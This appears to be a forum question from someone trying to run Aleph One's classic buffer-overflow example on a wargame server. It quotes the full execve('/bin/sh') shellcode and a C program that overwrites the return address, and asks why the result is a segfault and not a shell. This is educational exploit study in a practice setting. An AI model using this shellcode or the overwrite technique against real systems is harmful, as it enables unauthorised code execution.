title: Simple buffer overflow and shellcode example
body: <p>I've been trying to run Aleph One's example in order to get a BOF and open a shell.</p>
  
  <p>This is Aleph One paper: <a href="http://insecure.org/stf/smashstack.html" rel="noreferrer">http://insecure.org/stf/smashstack.html</a></p>
  
  <p>And this is the simple C code (located nearly at the half of the paper):</p>
  
  <pre><code>char shellcode[] =
  "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
  "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
  "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
  "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
  
  void main() {
     int *ret;
  
     ret = (int *)&amp;ret + 2;
     (*ret) = (int)shellcode;
  }
  </code></pre>
  
  <p>Now, I've tried running this program in an SSH bash, but without success.</p>
  
  <p>Since nothing happened after running it, I guesses that I just didn't write the return address, so I used GDB to see the offset between the ret variable and the real return address, and realized it was 7.</p>
  
  <p>In order to check myself, I tried increasing ret in 3,4,5,6, and indeed, only when I changed line 10 to:</p>
  
  <pre><code>   ret = (int *)&amp;ret + 7;
  </code></pre>
  
  <p>I got a segmentation fault.</p>
  
  <p>Yet, I do not understand why a bash isn't opened and I get this error instead.</p>
  
  <p>P.S I was running on 'logic smashthestack' SSH servers (which one of their challenges is BOF): <a href="http://logic.smashthestack.org:88/" rel="noreferrer">http://logic.smashthestack.org:88/</a></p>
  
  <p>Thanks for the helpers.</p>